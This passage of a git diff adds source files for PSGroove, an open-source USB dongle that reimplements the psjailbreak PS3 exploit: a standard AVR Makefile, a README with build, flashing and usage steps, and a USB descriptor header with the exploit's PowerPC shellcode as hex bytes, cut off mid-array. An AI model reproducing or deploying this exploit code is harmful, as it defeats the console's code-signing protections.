psgroove.c $(LUFA_SRC_USB) + + +# List C++ source files here. (C dependencies are automatically generated.) +CPPSRC = + + +# List Assembler source files here. +# Make them always end in a capital .S. Files ending in a lowercase .s +# will not be considered source files but generated files (assembler +# output from the compiler), and will be deleted upon "make clean"! +# Even though the DOS/Win* filesystem matches both .s and .S the same, +# it will preserve the spelling of the filenames, and gcc itself does +# care about how the name is spelled on its command-line. +ASRC = + + +# Optimization level, can be [0, 1, 2, 3, s]. +# 0 = turn off optimization. s = optimize for size. +# (Note: 3 is not always the best optimization level. See avr-libc FAQ.) +OPT = s + + +# Debugging format. +# Native formats for AVR-GCC's -g are dwarf-2 [default] or stabs. +# AVR Studio 4.10 requires dwarf-2. +# AVR [Extended] COFF format requires stabs, plus an avr-objcopy run. +DEBUG = dwarf-2 + + +# List any extra directories to look for include files here. +# Each directory must be seperated by a space. +# Use forward slashes for directory separators. +# For a directory that has spaces, enclose it in quotes. +EXTRAINCDIRS = $(LUFA_PATH)/ + + +# Compiler flag to set the C Standard level. +# c89 = "ANSI" C +# gnu89 = c89 plus GCC extensions +# c99 = ISO C99 standard (not yet fully implemented) +# gnu99 = c99 plus GCC extensions +CSTANDARD = -std=c99 + + +# Place -D or -U options here for C sources +CDEFS = -DF_CPU=$(F_CPU)UL +CDEFS += -DF_CLOCK=$(F_CLOCK)UL +CDEFS += -DBOARD=BOARD_$(BOARD) +CDEFS += $(LUFA_OPTS) + + +# Place -D or -U options here for ASM sources +ADEFS = -DF_CPU=$(F_CPU) +ADEFS += -DF_CLOCK=$(F_CLOCK)UL +ADEFS += -DBOARD=BOARD_$(BOARD) +ADEFS += $(LUFA_OPTS) + +# Place -D or -U options here for C++ sources +CPPDEFS = -DF_CPU=$(F_CPU)UL +CPPDEFS += -DF_CLOCK=$(F_CLOCK)UL +CPPDEFS += -DBOARD=BOARD_$(BOARD) +CPPDEFS += $(LUFA_OPTS) +#CPPDEFS += -D__STDC_LIMIT_MACROS +#CPPDEFS += -D__STDC_CONSTANT_MACROS + + + +#---------------- Compiler Options C ---------------- +# -g*: generate debugging information +# -O*: optimization level +# -f...: tuning, see GCC manual and avr-libc documentation +# -Wall...: warning level +# -Wa,...: tell GCC to pass this to the assembler. +# -adhlns...: create assembler listing +CFLAGS = -g$(DEBUG) +CFLAGS += $(CDEFS) +CFLAGS += -O$(OPT) +CFLAGS += -funsigned-char +CFLAGS += -funsigned-bitfields +CFLAGS += -ffunction-sections +CFLAGS += -fno-inline-small-functions +CFLAGS += -fpack-struct +CFLAGS += -fshort-enums +CFLAGS += -fno-strict-aliasing +CFLAGS += -Wall +CFLAGS += -Wstrict-prototypes +#CFLAGS += -mshort-calls +#CFLAGS += -fno-unit-at-a-time +#CFLAGS += -Wundef +#CFLAGS += -Wunreachable-code +#CFLAGS += -Wsign-compare +CFLAGS += -Wa,-adhlns=$(<:%.c=$(OBJDIR)/%.lst) +CFLAGS += $(patsubst %,-I%,$(EXTRAINCDIRS)) +CFLAGS += $(CSTANDARD) + + +#---------------- Compiler Options C++ ---------------- +# -g*: generate debugging information +# -O*: optimization level +# -f...: tuning, see GCC manual and avr-libc documentation +# -Wall...: warning level +# -Wa,...: tell GCC to pass this to the assembler. +# -adhlns...: create assembler listing +CPPFLAGS = -g$(DEBUG) +CPPFLAGS += $(CPPDEFS) +CPPFLAGS += -O$(OPT) +CPPFLAGS += -funsigned-char +CPPFLAGS += -funsigned-bitfields +CPPFLAGS += -fpack-struct +CPPFLAGS += -fshort-enums +CPPFLAGS += -fno-exceptions +CPPFLAGS += -Wall +CPPFLAGS += -Wundef +#CPPFLAGS += -mshort-calls +#CPPFLAGS += -fno-unit-at-a-time +#CPPFLAGS += -Wstrict-prototypes +#CPPFLAGS += -Wunreachable-code +#CPPFLAGS += -Wsign-compare +CPPFLAGS += -Wa,-adhlns=$(<:%.cpp=$(OBJDIR)/%.lst) +CPPFLAGS += $(patsubst %,-I%,$(EXTRAINCDIRS)) +#CPPFLAGS += $(CSTANDARD) + + +#---------------- Assembler Options ---------------- +# -Wa,...: tell GCC to pass this to the assembler. +# -adhlns: create listing +# -gstabs: have the assembler create line number information; note that +# for use in COFF files, additional information about filenames +# and function names needs to be present in the assembler source +# files -- see avr-libc docs [FIXME: not yet described there] +# -listing-cont-lines: Sets the maximum number of continuation lines of hex +# dump that will be displayed for a given single line of source input. +ASFLAGS = $(ADEFS) -Wa,-adhlns=$(<:%.S=$(OBJDIR)/%.lst),-gstabs,--listing-cont-lines=100 + + +#---------------- Library Options ---------------- +# Minimalistic printf version +PRINTF_LIB_MIN = -Wl,-u,vfprintf -lprintf_min + +# Floating point printf version (requires MATH_LIB = -lm below) +PRINTF_LIB_FLOAT = -Wl,-u,vfprintf -lprintf_flt + +# If this is left blank, then it will use the Standard printf version. +PRINTF_LIB = +#PRINTF_LIB = $(PRINTF_LIB_MIN) +#PRINTF_LIB = $(PRINTF_LIB_FLOAT) + + +# Minimalistic scanf version +SCANF_LIB_MIN = -Wl,-u,vfscanf -lscanf_min + +# Floating point + %[ scanf version (requires MATH_LIB = -lm below) +SCANF_LIB_FLOAT = -Wl,-u,vfscanf -lscanf_flt + +# If this is left blank, then it will use the Standard scanf version. +SCANF_LIB = +#SCANF_LIB = $(SCANF_LIB_MIN) +#SCANF_LIB = $(SCANF_LIB_FLOAT) + + +MATH_LIB = -lm + + +# List any extra directories to look for libraries here. +# Each directory must be seperated by a space. +# Use forward slashes for directory separators. +# For a directory that has spaces, enclose it in quotes. +EXTRALIBDIRS = + + + +#---------------- External Memory Options ---------------- + +# 64 KB of external RAM, starting after internal RAM (ATmega128!), +# used for variables (.data/.bss) and heap (malloc()). +#EXTMEMOPTS = -Wl,-Tdata=0x801100,--defsym=__heap_end=0x80ffff + +# 64 KB of external RAM, starting after internal RAM (ATmega128!), +# only used for heap (malloc()). +#EXTMEMOPTS = -Wl,--section-start,.data=0x801100,--defsym=__heap_end=0x80ffff + +EXTMEMOPTS = + + + +#---------------- Linker Options ---------------- +# -Wl,...: tell GCC to pass this to linker. +# -Map: create map file +# --cref: add cross reference to map file +LDFLAGS = -Wl,-Map=$(TARGET).map,--cref +LDFLAGS += -Wl,--relax +LDFLAGS += -Wl,--gc-sections +LDFLAGS += $(EXTMEMOPTS) +LDFLAGS += $(patsubst %,-L%,$(EXTRALIBDIRS)) +LDFLAGS += $(PRINTF_LIB) $(SCANF_LIB) $(MATH_LIB) +#LDFLAGS += -T linker_script.x + + + +#---------------- Programming Options (avrdude) ---------------- + +# Programming hardware +# Type: avrdude -c ? +# to get a full listing. +# +AVRDUDE_PROGRAMMER = jtagmkII + +# com1 = serial port. Use lpt1 to connect to parallel port. +AVRDUDE_PORT = usb + +AVRDUDE_WRITE_FLASH = -U flash:w:$(TARGET).hex +#AVRDUDE_WRITE_EEPROM = -U eeprom:w:$(TARGET).eep + + +# Uncomment the following if you want avrdude's erase cycle counter. +# Note that this counter needs to be initialized first using -Yn, +# see avrdude manual. +#AVRDUDE_ERASE_COUNTER = -y + +# Uncomment the following if you do /not/ wish a verification to be +# performed after programming the device. +#AVRDUDE_NO_VERIFY = -V + +# Increase verbosity level. Please use this when submitting bug +# reports about avrdude. See +# to submit bug reports. +#AVRDUDE_VERBOSE = -v -v + +AVRDUDE_FLAGS = -p $(MCU) -P $(AVRDUDE_PORT) -c $(AVRDUDE_PROGRAMMER) +AVRDUDE_FLAGS += $(AVRDUDE_NO_VERIFY) +AVRDUDE_FLAGS += $(AVRDUDE_VERBOSE) +AVRDUDE_FLAGS += $(AVRDUDE_ERASE_COUNTER) + + + +#---------------- Debugging Options ---------------- + +# For simulavr only - target MCU frequency. +DEBUG_MFREQ = $(F_CPU) + +# Set the DEBUG_UI to either gdb or insight. +# DEBUG_UI = gdb +DEBUG_UI = insight + +# Set the debugging back-end to either avarice, simulavr. +DEBUG_BACKEND = avarice +#DEBUG_BACKEND = simulavr + +# GDB Init Filename. +GDBINIT_FILE = __avr_gdbinit + +# When using avarice settings for the JTAG +JTAG_DEV = /dev/com1 + +# Debugging port used to communicate between GDB / avarice / simulavr. +DEBUG_PORT = 4242 + +# Debugging host used to communicate between GDB / avarice / simulavr, normally +# just set to localhost unless doing some sort of crazy debugging when +# avarice is running on a different computer. +DEBUG_HOST = localhost + + + +#============================================================================ + + +# Define programs and commands. +SHELL = sh +CC = avr-gcc +OBJCOPY = avr-objcopy +OBJDUMP = avr-objdump +SIZE = avr-size +AR = avr-ar rcs +NM = avr-nm +AVRDUDE = avrdude +REMOVE = rm -f +REMOVEDIR = rm -rf +COPY = cp +WINSHELL = cmd + + +# Define Messages +# English +MSG_ERRORS_NONE = Errors: none +MSG_BEGIN = -------- begin -------- +MSG_END = -------- end -------- +MSG_SIZE_BEFORE = Size before: +MSG_SIZE_AFTER = Size after: +MSG_COFF = Converting to AVR COFF: +MSG_EXTENDED_COFF = Converting to AVR Extended COFF: +MSG_FLASH = Creating load file for Flash: +MSG_EEPROM = Creating load file for EEPROM: +MSG_EXTENDED_LISTING = Creating Extended Listing: +MSG_SYMBOL_TABLE = Creating Symbol Table: +MSG_LINKING = Linking: +MSG_COMPILING = Compiling C: +MSG_COMPILING_CPP = Compiling C++: +MSG_ASSEMBLING = Assembling: +MSG_CLEANING = Cleaning project: +MSG_CREATING_LIBRARY = Creating library: + + + + +# Define all object files. +OBJ = $(SRC:%.c=$(OBJDIR)/%.o) $(CPPSRC:%.cpp=$(OBJDIR)/%.o) $(ASRC:%.S=$(OBJDIR)/%.o) + +# Define all listing files. +LST = $(SRC:%.c=$(OBJDIR)/%.lst) $(CPPSRC:%.cpp=$(OBJDIR)/%.lst) $(ASRC:%.S=$(OBJDIR)/%.lst) + + +# Compiler flags to generate dependency files. +GENDEPFLAGS = -MMD -MP -MF .dep/$(@F).d + + +# Combine all necessary flags and optional flags. +# Add target processor to flags. +ALL_CFLAGS = -mmcu=$(MCU) -I. $(CFLAGS) $(GENDEPFLAGS) +ALL_CPPFLAGS = -mmcu=$(MCU) -I. -x c++ $(CPPFLAGS) $(GENDEPFLAGS) +ALL_ASFLAGS = -mmcu=$(MCU) -I. -x assembler-with-cpp $(ASFLAGS) + + + + + +# Default target. +all: begin gccversion sizebefore build sizeafter end + +# Change the build target to build a HEX file or a library. +build: elf hex eep lss sym +#build: lib + + +elf: $(TARGET).elf +hex: $(TARGET).hex +eep: $(TARGET).eep +lss: $(TARGET).lss +sym: $(TARGET).sym +LIBNAME=lib$(TARGET).a +lib: $(LIBNAME) + + + +# Eye candy. +# AVR Studio 3.x does not check make's exit code but relies on +# the following magic strings to be generated by the compile job. +begin: + @echo + @echo $(MSG_BEGIN) + +end: + @echo $(MSG_END) + @echo + + +# Display size of file. +HEXSIZE = $(SIZE) --target=$(FORMAT) $(TARGET).hex +ELFSIZE = $(SIZE) --mcu=$(MCU) --format=avr $(TARGET).elf + +sizebefore: + @if test -f $(TARGET).elf; then echo; echo $(MSG_SIZE_BEFORE); $(ELFSIZE); \ + 2>/dev/null; echo; fi + +sizeafter: + @if test -f $(TARGET).elf; then echo; echo $(MSG_SIZE_AFTER); $(ELFSIZE); \ + 2>/dev/null; echo; fi + + + +# Display compiler version information. +gccversion : + @$(CC) --version + + +# Program the device. +program: $(TARGET).hex $(TARGET).eep + $(AVRDUDE) $(AVRDUDE_FLAGS) $(AVRDUDE_WRITE_FLASH) $(AVRDUDE_WRITE_EEPROM) + +flip: $(TARGET).hex + batchisp -hardware usb -device $(MCU) -operation erase f + batchisp -hardware usb -device $(MCU) -operation loadbuffer $(TARGET).hex program + batchisp -hardware usb -device $(MCU) -operation start reset 0 + +dfu: $(TARGET).hex + dfu-programmer $(MCU) erase + dfu-programmer $(MCU) flash --debug 1 $(TARGET).hex + dfu-programmer $(MCU) reset + +flip-ee: $(TARGET).hex $(TARGET).eep + $(COPY) $(TARGET).eep $(TARGET)eep.hex + batchisp -hardware usb -device $(MCU) -operation memory EEPROM erase + batchisp -hardware usb -device $(MCU) -operation memory EEPROM loadbuffer $(TARGET)eep.hex program + batchisp -hardware usb -device $(MCU) -operation start reset 0 + $(REMOVE) $(TARGET)eep.hex + +dfu-ee: $(TARGET).hex $(TARGET).eep + dfu-programmer $(MCU) flash-eeprom --debug 1 --suppress-bootloader-mem $(TARGET).eep + dfu-programmer $(MCU) reset + + +# Generate avr-gdb config/init file which does the following: +# define the reset signal, load the target file, connect to target, and set +# a breakpoint at main(). +gdb-config: + @$(REMOVE) $(GDBINIT_FILE) + @echo define reset >> $(GDBINIT_FILE) + @echo SIGNAL SIGHUP >> $(GDBINIT_FILE) + @echo end >> $(GDBINIT_FILE) + @echo file $(TARGET).elf >> $(GDBINIT_FILE) + @echo target remote $(DEBUG_HOST):$(DEBUG_PORT) >> $(GDBINIT_FILE) +ifeq ($(DEBUG_BACKEND),simulavr) + @echo load >> $(GDBINIT_FILE) +endif + @echo break main >> $(GDBINIT_FILE) + +debug: gdb-config $(TARGET).elf +ifeq ($(DEBUG_BACKEND), avarice) + @echo Starting AVaRICE - Press enter when "waiting to connect" message displays. + @$(WINSHELL) /c start avarice --jtag $(JTAG_DEV) --erase --program --file \ + $(TARGET).elf $(DEBUG_HOST):$(DEBUG_PORT) + @$(WINSHELL) /c pause + +else + @$(WINSHELL) /c start simulavr --gdbserver --device $(MCU) --clock-freq \ + $(DEBUG_MFREQ) --port $(DEBUG_PORT) +endif + @$(WINSHELL) /c start avr-$(DEBUG_UI) --command=$(GDBINIT_FILE) + + + + +# Convert ELF to COFF for use in debugging / simulating in AVR Studio or VMLAB. +COFFCONVERT = $(OBJCOPY) --debugging +COFFCONVERT += --change-section-address .data-0x800000 +COFFCONVERT += --change-section-address .bss-0x800000 +COFFCONVERT += --change-section-address .noinit-0x800000 +COFFCONVERT += --change-section-address .eeprom-0x810000 + + + +coff: $(TARGET).elf + @echo + @echo $(MSG_COFF) $(TARGET).cof + $(COFFCONVERT) -O coff-avr $< $(TARGET).cof + + +extcoff: $(TARGET).elf + @echo + @echo $(MSG_EXTENDED_COFF) $(TARGET).cof + $(COFFCONVERT) -O coff-ext-avr $< $(TARGET).cof + + + +# Create final output files (.hex, .eep) from ELF output file. +%.hex: %.elf + @echo + @echo $(MSG_FLASH) $@ + $(OBJCOPY) -O $(FORMAT) -R .eeprom -R .fuse -R .lock $< $@ + +%.eep: %.elf + @echo + @echo $(MSG_EEPROM) $@ + -$(OBJCOPY) -j .eeprom --set-section-flags=.eeprom="alloc,load" \ + --change-section-lma .eeprom=0 --no-change-warnings -O $(FORMAT) $< $@ || exit 0 + +# Create extended listing file from ELF output file. +%.lss: %.elf + @echo + @echo $(MSG_EXTENDED_LISTING) $@ + $(OBJDUMP) -h -S -z $< > $@ + +# Create a symbol table from ELF output file. +%.sym: %.elf + @echo + @echo $(MSG_SYMBOL_TABLE) $@ + $(NM) -n $< > $@ + + + +# Create library from object files. +.SECONDARY : $(TARGET).a +.PRECIOUS : $(OBJ) +%.a: $(OBJ) + @echo + @echo $(MSG_CREATING_LIBRARY) $@ + $(AR) $@ $(OBJ) + + +# Link: create ELF output file from object files. +.SECONDARY : $(TARGET).elf +.PRECIOUS : $(OBJ) +%.elf: $(OBJ) + @echo + @echo $(MSG_LINKING) $@ + $(CC) $(ALL_CFLAGS) $^ --output $@ $(LDFLAGS) + + +# Compile: create object files from C source files. +$(OBJDIR)/%.o : %.c + @echo + @echo $(MSG_COMPILING) $< + $(CC) -c $(ALL_CFLAGS) $< -o $@ + + +# Compile: create object files from C++ source files. +$(OBJDIR)/%.o : %.cpp + @echo + @echo $(MSG_COMPILING_CPP) $< + $(CC) -c $(ALL_CPPFLAGS) $< -o $@ + + +# Compile: create assembler files from C source files. +%.s : %.c + $(CC) -S $(ALL_CFLAGS) $< -o $@ + + +# Compile: create assembler files from C++ source files. +%.s : %.cpp + $(CC) -S $(ALL_CPPFLAGS) $< -o $@ + + +# Assemble: create object files from assembler source files. +$(OBJDIR)/%.o : %.S + @echo + @echo $(MSG_ASSEMBLING) $< + $(CC) -c $(ALL_ASFLAGS) $< -o $@ + + +# Create preprocessed source for use in sending a bug report. +%.i : %.c + $(CC) -E -mmcu=$(MCU) -I. $(CFLAGS) $< -o $@ + + +# Target: clean project. +clean: begin clean_list end + +clean_list : + @echo + @echo $(MSG_CLEANING) + $(REMOVE) $(TARGET).hex + $(REMOVE) $(TARGET).eep + $(REMOVE) $(TARGET).cof + $(REMOVE) $(TARGET).elf + $(REMOVE) $(TARGET).map + $(REMOVE) $(TARGET).sym + $(REMOVE) $(TARGET).lss + $(REMOVE) $(SRC:%.c=$(OBJDIR)/%.o) + $(REMOVE) $(SRC:%.c=$(OBJDIR)/%.lst) + $(REMOVE) $(SRC:.c=.s) + $(REMOVE) $(SRC:.c=.d) + $(REMOVE) $(SRC:.c=.i) + $(REMOVEDIR) .dep + +doxygen: + @echo Generating Project Documentation... + @doxygen Doxygen.conf + @echo Documentation Generation Complete. + +clean_doxygen: + rm -rf Documentation + +# Create object files directory +$(shell mkdir $(OBJDIR) 2>/dev/null) + + +# Include the dependency files. +-include $(shell mkdir .dep 2>/dev/null) $(wildcard .dep/*) + + +# Listing of phony targets. +.PHONY : all begin finish end sizebefore sizeafter gccversion \ +build elf hex eep lss sym coff extcoff doxygen clean \ +clean_list clean_doxygen program dfu flip flip-ee dfu-ee \ +debug gdb-config diff --git a/README.md b/README.md new file mode 100644 index 0000000..1ecd4bd --- /dev/null +++ b/README.md @@ -0,0 +1,118 @@ +PSGroove +======== + +This is the PSGroove, an open-source reimplementation of the psjailbreak exploit for +AT90USB and related microcontrollers. + +It should work on: + +- AT90USB162 +- AT90USB646 +- AT90USB647 +- AT90USB1286 +- AT90USB1287 +- ATMEGA32U4 + +... and maybe more. + +**This software is not intended to enable piracy, and such features +have been disabled. This software is intended to allow the execution +of unsigned third-party apps and games on the PS3.** + +Cloning +------- +The repository uses the LUFA library as a submodule. To clone, use something like: + + git clone git://github.com/psgroove/psgroove.git + cd psgroove + git submodule init + git submodule update + + +Configuring +----------- +Chip and board selection can usually be handled in the Makefile. +In particular, update the MCU, BOARD, and F_CPU lines. Suggested values: + +Teensy 1.0: + + MCU = at90usb162 + BOARD = TEENSY + F_CLOCK = 16000000 + +Teensy++ 1.0: + + MCU = at90usb646 + BOARD = TEENSY + F_CLOCK = 16000000 + +Teensy 2.0: + + MCU = atmega32u4 + BOARD = TEENSY + F_CLOCK = 16000000 + +Teensy++ 2.0: + + MCU = at90usb1286 + BOARD = TEENSY + F_CLOCK = 16000000 + +AT90USBKEY / AT90USBKEY2: + + MCU = at90usb1287 + BOARD = USBKEY + F_CLOCK = 8000000 + +Board-specific notes +-------------------- +Teensy boards only have one LED, so it will turn off when the exploit +succeeds rather than turn green. Older Teensy 1.0 boards also have +the polarity inverted. In general, a LED should do something when the +board is powered, and do something different when the exploit works. + + +Building +-------- +On Linux, use the AVR GCC toolchain (Debian/Ubuntu package: gcc-avr). +On Windows, WinAVR should do the trick. + + make clean + make + + +Programming +----------- +Now program psgroove.hex into your board and you're ready to go. For +the AT90USBKEY and other chips with a DFU bootloader preinstalled, you +can get the dfu-programmer tool, put your board in programming mode, +and run + + make dfu + +For the Teensy boards, you probably have to use the [Teensy +Loader](http://www.pjrc.com/teensy/loader.html) software. + +Using +----- +To use this exploit: + +* Hard power cycle your PS3 (using the switch in back, or unplug it) +* Plug the dongle into your PS3. +* Press the PS3 power button, followed quickly by the eject button. + +After a few seconds, the first LED on your dongle should light up. +After about 5 seconds, the second LED will light up (or the LED will +just go off, if you only have one). This means the exploit worked! +You can see the new "Install Package Files" menu option in the game +menu. + + +Notes +----- +A programmed dongle won't enumerate properly on a PC, so don't worry +about that. + +**This software is not intended to enable piracy, and such features +have been disabled. This software is intended to allow the execution +of unsigned third-party apps and games on the PS3.** diff --git a/descriptor.h b/descriptor.h new file mode 100644 index 0000000..dbdbfac --- /dev/null +++ b/descriptor.h @@ -0,0 +1,534 @@ +const uint8_t PROGMEM HUB_Device_Descriptor[] = { + 0x12, 0x01, 0x00, 0x02, 0x09, 0x00, 0x01, 0x08, + 0xAA, 0xAA, 0xCC, 0xCC, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x01, +}; + +const uint8_t PROGMEM HUB_Config_Descriptor[] = { + // Config + 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x00, 0xe0, + 0x32, + // Interface + 0x09, 0x04, 0x00, 0x00, 0x01, 0x09, 0x00, 0x00, + 0x00, + // Endpoint (interrupt in) + 0x07, 0x05, 0x81, 0x03, 0x01, 0x00, 0x0c, +}; + +const uint8_t PROGMEM HUB_Hub_Descriptor[] = { + 0x09, 0x29, 0x06, 0xa9, 0x00, 0x32, 0x64, 0x00, + 0xff, +}; + +const uint8_t PROGMEM port1_device_descriptor[] = { + 0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, + 0xAA, 0xAA, 0x55, 0x55, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x04, +}; + +const uint8_t PROGMEM port1_short_config_descriptor[] = { + 0x09, 0x02, 0x00, 0x0f, 0x01, 0x00, 0x00, 0x80, +}; + +const uint8_t PROGMEM port1_config_descriptor[] = { + 0x09, 0x02, 0x12, 0x00, 0x01, 0x00, 0x00, 0x80, 0xfa, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfa, 0xce, 0xb0, 0x03, 0xaa, 0xbb, 0xcc, 0xdd, + 0x38, 0x63, 0xf0, 0x00, 0x38, 0xa0, 0x10, 0x00, 0x38, 0x80, 0x00, 0x01, 0x78, 0x84, 0xf8, 0x06, + 0x64, 0x84, 0x00, 0x70, 0x38, 0xa5, 0xff, 0xf8, 0x7c, 0xc3, 0x28, 0x2a, 0x7c, 0xc4, 0x29, 0x2a, + 0x28, 0x25, 0x00, 0x00, 0x40, 0x82, 0xff, 0xf0, 0x38, 0x84, 0x00, 0x80, 0x7c, 0x89, 0x03, 0xa6, + 0x4e, 0x80, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7c, 0x08, 0x02, 0xa6, 0xf8, 0x21, 0xff, 0x61, 0xfb, 0x61, 0x00, 0x78, 0xfb, 0x81, 0x00, 0x80, + 0xfb, 0xa1, 0x00, 0x88, 0xfb, 0xc1, 0x00, 0x90, 0xfb, 0xe1, 0x00, 0x98, 0xf8, 0x01, 0x00, 0xb0, + 0x3b, 0xe0, 0x00, 0x01, 0x7b, 0xff, 0xf8, 0x06, 0x7f, 0xe3, 0xfb, 0x78, 0x64, 0x63, 0x00, 0x05, + 0x60, 0x63, 0x0b, 0x3c, 0x7f, 0xe4, 0xfb, 0x78, 0x64, 0x84, 0x00, 0x70, 0x60, 0x84, 0x01, 0xac, + 0x38, 0xa0, 0x04, 0xfa, 0x4b, 0x97, 0xbf, 0x59, 0x7f, 0xe3, 0xfb, 0x78, 0x64, 0x63, 0x00, 0x05, + 0x60, 0x63, 0x0b, 0x3c, 0x38, 0x63, 0x00, 0x20, 0x4b, 0x9d, 0x22, 0x01, 0x7f, 0xe3, 0xfb, 0x78, + 0x64, 0x63, 0x00, 0x05, 0x60, 0x63, 0x0b, 0x3c, 0x7f, 0xe4, 0xfb, 0x78, 0x64, 0x84, 0x00, 0x2e, + 0x60, 0x84, 0xb1, 0x28, 0x38, 0x63, 0x00, 0x10, 0xf8, 0x64, 0x01, 0x20, 0x7f, 0xe5, 0xfb, 0x78, + 0x64, 0xa5, 0x00, 0x70, 0x60, 0xa5, 0x01, 0x50, 0x80, 0x65, 0x00, 0x00, 0x28, 0x03, 0x00, 0x00, + 0x41, 0x82, 0x00, 0x18, 0x80, 0x85, 0x00, 0x04, 0x7c, 0x63, 0xfa, 0x14, 0x90, 0x83, 0x00, 0x00, + 0x38, 0xa5, 0x00, 0x08, 0x4b, 0xff, 0xff, 0xe4, 0x48, 0x00, 0x05, 0x88, 0xf8, 0x21, 0xff, 0x51, + 0x7c, 0x08, 0x02, 0xa6, 0xfb, 0xc1, 0x00, 0xa0, 0xfb, 0xe1, 0x00, 0xa8, 0xfb, 0xa1, 0x00, 0x98, + 0xf8, 0x01, 0x00, 0xc0, 0x3b, 0xc0, 0x07, 0xd0, 0x3b, 0xe0, 0x00, 0xc8, 0x4b, 0x90, 0xa9, 0xb8, + 0x00, 0x04, 0x90, 0xe0, 0xe8, 0x82, 0x0f, 0x08, 0x00, 0x04, 0x90, 0xe4, 0xe8, 0x7c, 0x00, 0x20, + 0x00, 0x04, 0x90, 0xe8, 0xf8, 0x64, 0x00, 0x00, 0x00, 0x04, 0xf0, 0xa8, 0x48, 0x00, 0x1a, 0x9d, + 0x00, 0x2a, 0xaf, 0xc8, 0x4b, 0xda, 0x5b, 0x80, 0x00, 0x04, 0xed, 0x18, 0x38, 0x80, 0x00, 0x00, + 0x00, 0x04, 0xed, 0x1c, 0x90, 0x83, 0x00, 0x00, 0x00, 0x04, 0xed, 0x20, 0x4e, 0x80, 0x00, 0x20, + 0x00, 0x3b, 0xa8, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x05, 0x05, 0xd0, 0x38, 0x60, 0x00, 0x01, + 0x00, 0x05, 0x05, 0xd4, 0x4e, 0x80, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x38, 0x60, 0x00, 0x01, + 0x4e, 0x80, 0x00, 0x20, 0x48, 0x00, 0x02, 0x78, 0x48, 0x00, 0x01, 0xec, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x0c, 0xa8, 0x80, 0x00, 0x00, 0x00, 0x00, 0x33, 0xe7, 0x20, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x10, 0x32, 0x80, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0b, 0x7c, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x0b, 0x8c, 0x80, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0b, 0x9c, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x0b, 0xd4, 0x80, 0x00, 0x00, 0x00, 0x00, 0x33, 0xe7, 0x20, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x0c, 0x1c, 0x80, 0x00, 0x00, 0x00, 0x00, 0x33, 0xe7, 0x20, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x0c, 0x78, 0x80, 0x00, 0x00, 0x00, 0x00, 0x33, 0xe7, 0x20, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x0c, 0x84, 0x80, 0x00, 0x00, 0x00, 0x00, 0x33, 0xe7, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf8, 0x21, 0xff, 0x81, 0x7c, 0x08, 0x02, 0xa6, 0xf8, 0x01, 0x00, 0x90, + 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x01, 0x48, 0x08, 0x1d, 0xb1, 0x80, 0xa3, 0x00, 0x08, + 0x38, 0x60, 0x00, 0x00, 0x3c, 0x80, 0xaa, 0xaa, 0x60, 0x84, 0xc0, 0xde, 0x7c, 0x04, 0x28, 0x40, + 0x41, 0x82, 0x00, 0x08, 0x38, 0x60, 0xff, 0xff, 0x7c, 0x63, 0x07, 0xb4, 0xe8, 0x01, 0x00, 0x90, + 0x7c, 0x08, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x80, 0x4e, 0x80, 0x00, 0x20, 0xf8, 0x21, 0xff, 0x81, + 0x7c, 0x08, 0x02, 0xa6, 0xf8, 0x01, 0x00, 0x90, 0x38, 0x80, 0x00, 0x00, 0x48, 0x08, 0x1d, 0x99, + 0x38, 0x81, 0x00, 0x70, 0x38, 0xa0, 0x00, 0x00, 0xf8, 0xa4, 0x00, 0x00, 0x38, 0xc0, 0x21, 0xaa, + 0xb0, 0xc4, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0xb0, 0xc4, 0x00, 0x06, 0x38, 0xc0, 0x00, 0x01, + 0x78, 0xc6, 0xf8, 0x06, 0x64, 0xc6, 0x00, 0x05, 0x60, 0xc6, 0x0b, 0xac, 0x38, 0xe0, 0x00, 0x00, + 0x48, 0x08, 0x1c, 0xcd, 0x38, 0x60, 0x00, 0x00, 0xe8, 0x01, 0x00, 0x90, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x21, 0x00, 0x80, 0x4e, 0x80, 0x00, 0x20, 0x4e, 0x80, 0x00, 0x20, 0x39, 0x60, 0x00, 0xff, + 0x44, 0x00, 0x00, 0x22, 0x2c, 0x03, 0x00, 0x00, 0x40, 0x82, 0x00, 0x1c, 0x38, 0x60, 0x00, 0x01, + 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x05, 0x60, 0x63, 0x0b, 0xbc, 0x38, 0x80, 0x00, 0x01, + 0x90, 0x83, 0x00, 0x10, 0x4e, 0x80, 0x00, 0x20, 0xf8, 0x21, 0xff, 0x31, 0x7c, 0x08, 0x02, 0xa6, + 0xf8, 0x01, 0x00, 0xe0, 0xfb, 0xe1, 0x00, 0xc8, 0x38, 0x81, 0x00, 0x70, 0x48, 